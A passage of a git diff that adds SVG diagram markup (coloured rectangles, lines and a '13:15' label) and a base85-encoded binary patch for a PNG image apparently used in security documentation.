+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="130" x2="895" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="125" x2="925" y2="145"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="170">
+      <tspan x="925" y="170">13:15</tspan>
+    </text>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="675" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="735" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="825" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="645" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/security/anonymous_wdt.png b/_images/security/anonymous_wdt.png
index 8dbf1cd8298b16129153cc4e501b67ec24263ef4..80736afce3910c746a1054078bf0f84cc21c1862 100644
GIT binary patch
literal 17124
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
